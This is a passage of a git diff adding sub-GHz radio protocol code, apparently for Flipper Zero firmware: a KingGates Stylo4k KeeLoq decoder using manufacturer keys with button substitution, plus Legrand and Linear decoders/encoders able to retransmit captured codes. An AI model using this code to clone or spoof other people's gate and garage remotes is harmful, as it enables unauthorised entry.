+ *    S[3]     S[2]   1 key    S[1]     S[0]    2 byte always 0   Hop[3]   Hop[2]  Hop[1]   Hop[0]    0
+ *  11100100 10000001 1 0111 11110000 11001000 00000000 00000000 11001110 00101000 00001011 10100000 0000
+ * 
+ *  Encryption  - keeloq Simple Learning
+ *                                         key C  S[3]  CNT 
+ *  Decrypt     - 0xEC270B9C        =>  0x  E  C   27   0B9C
+ * 
+ * 
+ * 
+*/
+
+    uint32_t hop = subghz_protocol_blocks_reverse_key(instance->data_2 >> 4, 32);
+    uint64_t fix = subghz_protocol_blocks_reverse_key(instance->data, 53);
+    bool ret = false;
+    uint32_t decrypt = 0;
+    instance->btn = (fix >> 17) & 0x0F;
+    instance->serial = ((fix >> 5) & 0xFFFF0000) | (fix & 0xFFFF);
+
+    for
+        M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) {
+            if(manufacture_code->type == KEELOQ_LEARNING_SIMPLE_KINGGATES) {
+                decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key);
+                if(((decrypt >> 28) == instance->btn) && (((decrypt >> 24) & 0x0F) == 0x0C) &&
+                   (((decrypt >> 16) & 0xFF) == (instance->serial & 0xFF))) {
+                    ret = true;
+                    break;
+                }
+            }
+        }
+    if(ret) {
+        instance->cnt = decrypt & 0xFFFF;
+        // Save original button for later use
+        if(subghz_custom_btn_get_original() == 0) {
+            subghz_custom_btn_set_original(instance->btn);
+        }
+        subghz_custom_btn_set_max(3);
+    } else {
+        instance->btn = 0;
+        instance->serial = 0;
+        instance->cnt = 0;
+    }
+}
+
+uint8_t subghz_protocol_decoder_kinggates_stylo_4k_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderKingGates_stylo_4k* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_kinggates_stylo_4k_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderKingGates_stylo_4k* instance = context;
+    SubGhzProtocolStatus ret =
+        subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+
+    uint8_t key_data[sizeof(uint64_t)] = {0};
+    for(size_t i = 0; i < sizeof(uint64_t); i++) {
+        key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data_2 >> (i * 8)) & 0xFF;
+    }
+
+    if(!flipper_format_rewind(flipper_format)) {
+        FURI_LOG_E(TAG, "Rewind error");
+        ret = SubGhzProtocolStatusErrorParserOthers;
+    }
+
+    if((ret == SubGhzProtocolStatusOk) &&
+       !flipper_format_insert_or_update_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
+        FURI_LOG_E(TAG, "Unable to add Data");
+        ret = SubGhzProtocolStatusErrorParserOthers;
+    }
+    return ret;
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_kinggates_stylo_4k_deserialize(
+    void* context,
+    FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderKingGates_stylo_4k* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_kinggates_stylo_4k_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        if(!flipper_format_read_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Missing Data");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+
+        for(uint8_t i = 0; i < sizeof(uint64_t); i++) {
+            instance->generic.data_2 = instance->generic.data_2 << 8 | key_data[i];
+        }
+    } while(false);
+    return ret;
+}
+
+static uint8_t subghz_protocol_kinggates_stylo_4k_get_btn_code(void) {
+    uint8_t custom_btn_id = subghz_custom_btn_get();
+    uint8_t original_btn_code = subghz_custom_btn_get_original();
+    uint8_t btn = original_btn_code;
+
+    // Set custom button
+    if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
+        // Restore original button code
+        btn = original_btn_code;
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
+        switch(original_btn_code) {
+        case 0xE:
+            btn = 0xD;
+            break;
+        case 0xD:
+            btn = 0xE;
+            break;
+        case 0xB:
+            btn = 0xE;
+            break;
+        case 0x7:
+            btn = 0xE;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
+        switch(original_btn_code) {
+        case 0xE:
+            btn = 0xB;
+            break;
+        case 0xD:
+            btn = 0xB;
+            break;
+        case 0xB:
+            btn = 0xD;
+            break;
+        case 0x7:
+            btn = 0xD;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_LEFT) {
+        switch(original_btn_code) {
+        case 0xE:
+            btn = 0x7;
+            break;
+        case 0xD:
+            btn = 0x7;
+            break;
+        case 0xB:
+            btn = 0x7;
+            break;
+        case 0x7:
+            btn = 0xB;
+            break;
+
+        default:
+            break;
+        }
+    }
+
+    return btn;
+}
+
+void subghz_protocol_decoder_kinggates_stylo_4k_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderKingGates_stylo_4k* instance = context;
+    subghz_protocol_kinggates_stylo_4k_remote_controller(&instance->generic, instance->keystore);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.cnt_is_available = true;
+    subghz_block_generic_global.cnt_length_bit = 16;
+    subghz_block_generic_global.current_cnt = instance->generic.cnt;
+
+    subghz_block_generic_global.btn_is_available = true;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s\r\n"
+        "Key:0x%llX%07llX  %dbit\r\n"
+        "Sn:0x%08lX  Btn:0x%01X\r\n"
+        "Cnt:%04lX\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data,
+        instance->generic.data_2,
+        instance->generic.data_count_bit,
+        instance->generic.serial,
+        instance->generic.btn,
+        instance->generic.cnt);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/kinggates_stylo_4k.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/kinggates_stylo_4k.h
new file mode 100644
index 000000000..cdefebc84
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/kinggates_stylo_4k.h
@@ -0,0 +1,110 @@
+#pragma once
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_KINGGATES_STYLO_4K_NAME "KingGates Stylo4k"
+
+typedef struct SubGhzProtocolDecoderKingGates_stylo_4k SubGhzProtocolDecoderKingGates_stylo_4k;
+typedef struct SubGhzProtocolEncoderKingGates_stylo_4k SubGhzProtocolEncoderKingGates_stylo_4k;
+
+extern const SubGhzProtocolDecoder subghz_protocol_kinggates_stylo_4k_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_kinggates_stylo_4k_encoder;
+extern const SubGhzProtocol subghz_protocol_kinggates_stylo_4k;
+
+/**
+ * Allocate SubGhzProtocolEncoderKingGates_stylo_4k.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderKingGates_stylo_4k* pointer to a SubGhzProtocolEncoderKingGates_stylo_4k instance
+ */
+void* subghz_protocol_encoder_kinggates_stylo_4k_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderKingGates_stylo_4k.
+ * @param context Pointer to a SubGhzProtocolEncoderKingGates_stylo_4k instance
+ */
+void subghz_protocol_encoder_kinggates_stylo_4k_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderKingGates_stylo_4k instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return true On success
+ */
+SubGhzProtocolStatus subghz_protocol_encoder_kinggates_stylo_4k_deserialize(
+    void* context,
+    FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderKingGates_stylo_4k instance
+ */
+void subghz_protocol_encoder_kinggates_stylo_4k_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderKingGates_stylo_4k instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_kinggates_stylo_4k_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderKingGates_stylo_4k.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderKingGates_stylo_4k* pointer to a SubGhzProtocolDecoderKingGates_stylo_4k instance
+ */
+void* subghz_protocol_decoder_kinggates_stylo_4k_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderKingGates_stylo_4k.
+ * @param context Pointer to a SubGhzProtocolDecoderKingGates_stylo_4k instance
+ */
+void subghz_protocol_decoder_kinggates_stylo_4k_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderKingGates_stylo_4k.
+ * @param context Pointer to a SubGhzProtocolDecoderKingGates_stylo_4k instance
+ */
+void subghz_protocol_decoder_kinggates_stylo_4k_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderKingGates_stylo_4k instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_kinggates_stylo_4k_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderKingGates_stylo_4k instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_kinggates_stylo_4k_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderKingGates_stylo_4k.
+ * @param context Pointer to a SubGhzProtocolDecoderKingGates_stylo_4k instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_kinggates_stylo_4k_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderKingGates_stylo_4k.
+ * @param context Pointer to a SubGhzProtocolDecoderKingGates_stylo_4k instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_kinggates_stylo_4k_deserialize(
+    void* context,
+    FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderKingGates_stylo_4k instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_kinggates_stylo_4k_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/legrand.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/legrand.c
new file mode 100644
index 000000000..2a5078bde
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/legrand.c
@@ -0,0 +1,379 @@
+#include "legrand.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#define TAG "SubGhzProtocolLegrand"
+
+static const SubGhzBlockConst subghz_protocol_legrand_const = {
+    .te_short = 375,
+    .te_long = 1125,
+    .te_delta = 150,
+    .min_count_bit_for_found = 18,
+};
+
+struct SubGhzProtocolDecoderLegrand {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+
+    uint32_t te;
+    uint32_t last_data;
+};
+
+struct SubGhzProtocolEncoderLegrand {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+
+    uint32_t te;
+};
+
+typedef enum {
+    LegrandDecoderStepReset = 0,
+    LegrandDecoderStepFirstBit,
+    LegrandDecoderStepSaveDuration,
+    LegrandDecoderStepCheckDuration,
+} LegrandDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_legrand_decoder = {
+    .alloc = subghz_protocol_decoder_legrand_alloc,
+    .free = subghz_protocol_decoder_legrand_free,
+
+    .feed = subghz_protocol_decoder_legrand_feed,
+    .reset = subghz_protocol_decoder_legrand_reset,
+
+    .get_hash_data = subghz_protocol_decoder_legrand_get_hash_data,
+    .serialize = subghz_protocol_decoder_legrand_serialize,
+    .deserialize = subghz_protocol_decoder_legrand_deserialize,
+    .get_string = subghz_protocol_decoder_legrand_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_legrand_encoder = {
+    .alloc = subghz_protocol_encoder_legrand_alloc,
+    .free = subghz_protocol_encoder_legrand_free,
+
+    .deserialize = subghz_protocol_encoder_legrand_deserialize,
+    .stop = subghz_protocol_encoder_legrand_stop,
+    .yield = subghz_protocol_encoder_legrand_yield,
+};
+
+const SubGhzProtocol subghz_protocol_legrand = {
+    .name = SUBGHZ_PROTOCOL_LEGRAND_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send |
+            SubGhzProtocolFlag_Sensors,
+
+    .decoder = &subghz_protocol_legrand_decoder,
+    .encoder = &subghz_protocol_legrand_encoder,
+};
+
+void* subghz_protocol_encoder_legrand_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderLegrand* instance = malloc(sizeof(SubGhzProtocolEncoderLegrand));
+
+    instance->base.protocol = &subghz_protocol_legrand;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = subghz_protocol_legrand_const.min_count_bit_for_found * 2 + 1;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_legrand_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderLegrand* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderLegrand instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_legrand_get_upload(SubGhzProtocolEncoderLegrand* instance) {
+    furi_assert(instance);
+
+    size_t size_upload = (instance->generic.data_count_bit * 2) + 1;
+    if(size_upload != instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Invalid data bit count");
+        return false;
+    }
+
+    size_t index = 0;
+
+    // Send sync
+    instance->encoder.upload[index++] = level_duration_make(false, (uint32_t)instance->te * 16);
+
+    // Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            // send bit 1
+            instance->encoder.upload[index++] = level_duration_make(false, (uint32_t)instance->te);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)instance->te * 3);
+        } else {
+            // send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)instance->te * 3);
+            instance->encoder.upload[index++] = level_duration_make(true, (uint32_t)instance->te);
+        }
+    }
+
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_legrand_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderLegrand* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_legrand_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        if(!flipper_format_read_uint32(flipper_format, "TE", (uint32_t*)&instance->te, 1)) {
+            FURI_LOG_E(TAG, "Missing TE");
+            ret = SubGhzProtocolStatusErrorParserTe;
+            break;
+        }
+        // optional parameter
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_legrand_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_legrand_stop(void* context) {
+    SubGhzProtocolEncoderLegrand* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_legrand_yield(void* context) {
+    SubGhzProtocolEncoderLegrand* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_legrand_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderLegrand* instance = malloc(sizeof(SubGhzProtocolDecoderLegrand));
+    instance->base.protocol = &subghz_protocol_legrand;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_legrand_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderLegrand* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_legrand_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderLegrand* instance = context;
+    instance->decoder.parser_step = LegrandDecoderStepReset;
+    instance->last_data = 0;
+}
+
+void subghz_protocol_decoder_legrand_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderLegrand* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case LegrandDecoderStepReset:
+        if(!level && DURATION_DIFF(duration, subghz_protocol_legrand_const.te_short * 16) <
+                         subghz_protocol_legrand_const.te_delta * 8) {
+            instance->decoder.parser_step = LegrandDecoderStepFirstBit;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->te = 0;
+        }
+        break;
+    case LegrandDecoderStepFirstBit:
+        if(level) {
+            if(DURATION_DIFF(duration, subghz_protocol_legrand_const.te_short) <
+               subghz_protocol_legrand_const.te_delta) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->te += duration * 4; // long low that is part of sync, then short high
+            }
+
+            if(DURATION_DIFF(duration, subghz_protocol_legrand_const.te_long) <
+               subghz_protocol_legrand_const.te_delta * 3) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->te += duration / 3 * 4; // short low that is part of sync, then long high
+            }
+
+            if(instance->decoder.decode_count_bit > 0) {
+                // advance to the next step if either short or long is found
+                instance->decoder.parser_step = LegrandDecoderStepSaveDuration;
+                break;
+            }
+        }
+
+        instance->decoder.parser_step = LegrandDecoderStepReset;
+        break;
+    case LegrandDecoderStepSaveDuration:
+        if(!level) {
+            instance->decoder.te_last = duration;
+            instance->te += duration;
+            instance->decoder.parser_step = LegrandDecoderStepCheckDuration;
+            break;
+        }
+
+        instance->decoder.parser_step = LegrandDecoderStepReset;
+        break;
+    case LegrandDecoderStepCheckDuration:
+        if(level) {
+            uint8_t found = 0;
+
+            if(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_legrand_const.te_long) <
+                   subghz_protocol_legrand_const.te_delta * 3 &&
+               DURATION_DIFF(duration, subghz_protocol_legrand_const.te_short) <
+                   subghz_protocol_legrand_const.te_delta) {
+                found = 1;
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+            }
+
+            if(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_legrand_const.te_short) <
+                   subghz_protocol_legrand_const.te_delta &&
+               DURATION_DIFF(duration, subghz_protocol_legrand_const.te_long) <
+                   subghz_protocol_legrand_const.te_delta * 3) {
+                found = 1;
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+            }
+
+            if(found) {
+                instance->te += duration;
+
+                if(instance->decoder.decode_count_bit <
+                   subghz_protocol_legrand_const.min_count_bit_for_found) {
+                    instance->decoder.parser_step = LegrandDecoderStepSaveDuration;
+                    break;
+                }
+
+                // enough bits for a packet found, save it only if there was a previous packet
+                // with the same data
+                if(instance->last_data && (instance->last_data == instance->decoder.decode_data)) {
+                    instance->te /= instance->decoder.decode_count_bit * 4;
+
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback) {
+                        instance->base.callback(&instance->base, instance->base.context);
+                    }
+                }
+                instance->last_data = instance->decoder.decode_data;
+                // fallthrough to reset, the next bit is expected to be a sync
+                // it also takes care of resetting the decoder state
+            }
+        }
+
+        instance->decoder.parser_step = LegrandDecoderStepReset;
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_legrand_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderLegrand* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_legrand_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderLegrand* instance = context;
+    SubGhzProtocolStatus ret =
+        subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+    if((ret == SubGhzProtocolStatusOk) &&
+       !flipper_format_write_uint32(flipper_format, "TE", &instance->te, 1)) {
+        FURI_LOG_E(TAG, "Unable to add TE");
+        ret = SubGhzProtocolStatusErrorParserTe;
+    }
+    return ret;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_legrand_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderLegrand* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_legrand_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        if(!flipper_format_read_uint32(flipper_format, "TE", (uint32_t*)&instance->te, 1)) {
+            FURI_LOG_E(TAG, "Missing TE");
+            ret = SubGhzProtocolStatusErrorParserTe;
+            break;
+        }
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_decoder_legrand_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderLegrand* instance = context;
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:0x%05lX\r\n"
+        "Te:%luus\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data & 0xFFFFFF),
+        instance->te);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/legrand.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/legrand.h
new file mode 100644
index 000000000..0948ddb8b
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/legrand.h
@@ -0,0 +1,117 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_LEGRAND_NAME "Legrand"
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef struct SubGhzProtocolDecoderLegrand SubGhzProtocolDecoderLegrand;
+typedef struct SubGhzProtocolEncoderLegrand SubGhzProtocolEncoderLegrand;
+
+extern const SubGhzProtocolDecoder subghz_protocol_legrand_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_legrand_encoder;
+extern const SubGhzProtocol subghz_protocol_legrand;
+
+/**
+ * Allocate SubGhzProtocolEncoderLegrand.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderLegrand* pointer to a SubGhzProtocolEncoderLegrand instance
+ */
+void* subghz_protocol_encoder_legrand_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderLegrand.
+ * @param context Pointer to a SubGhzProtocolEncoderLegrand instance
+ */
+void subghz_protocol_encoder_legrand_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderLegrand instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_legrand_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderLegrand instance
+ */
+void subghz_protocol_encoder_legrand_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderLegrand instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_legrand_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderLegrand.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderLegrand* pointer to a SubGhzProtocolDecoderLegrand instance
+ */
+void* subghz_protocol_decoder_legrand_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderLegrand.
+ * @param context Pointer to a SubGhzProtocolDecoderLegrand instance
+ */
+void subghz_protocol_decoder_legrand_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderLegrand.
+ * @param context Pointer to a SubGhzProtocolDecoderLegrand instance
+ */
+void subghz_protocol_decoder_legrand_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderLegrand instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_legrand_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderLegrand instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_legrand_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderLegrand.
+ * @param context Pointer to a SubGhzProtocolDecoderLegrand instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_legrand_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderLegrand.
+ * @param context Pointer to a SubGhzProtocolDecoderLegrand instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_legrand_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderLegrand instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_legrand_get_string(void* context, FuriString* output);
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/linear.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/linear.c
new file mode 100644
index 000000000..f97b96e24
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/linear.c
@@ -0,0 +1,345 @@
+#include "linear.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#define TAG "SubGhzProtocolLinear"
+
+#define DIP_PATTERN "%c%c%c%c%c%c%c%c%c%c"
+#define DATA_TO_DIP(dip)                                                                    \
+    (dip & 0x0200 ? '1' : '0'), (dip & 0x0100 ? '1' : '0'), (dip & 0x0080 ? '1' : '0'),     \
+        (dip & 0x0040 ? '1' : '0'), (dip & 0x0020 ? '1' : '0'), (dip & 0x0010 ? '1' : '0'), \
+        (dip & 0x0008 ? '1' : '0'), (dip & 0x0004 ? '1' : '0'), (dip & 0x0002 ? '1' : '0'), \
+        (dip & 0x0001 ? '1' : '0')
+
+static const SubGhzBlockConst subghz_protocol_linear_const = {
+    .te_short = 500,
+    .te_long = 1500,
+    .te_delta = 350,
+    .min_count_bit_for_found = 10,
+};
+
+struct SubGhzProtocolDecoderLinear {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderLinear {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    LinearDecoderStepReset = 0,
+    LinearDecoderStepSaveDuration,
+    LinearDecoderStepCheckDuration,
+} LinearDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_linear_decoder = {
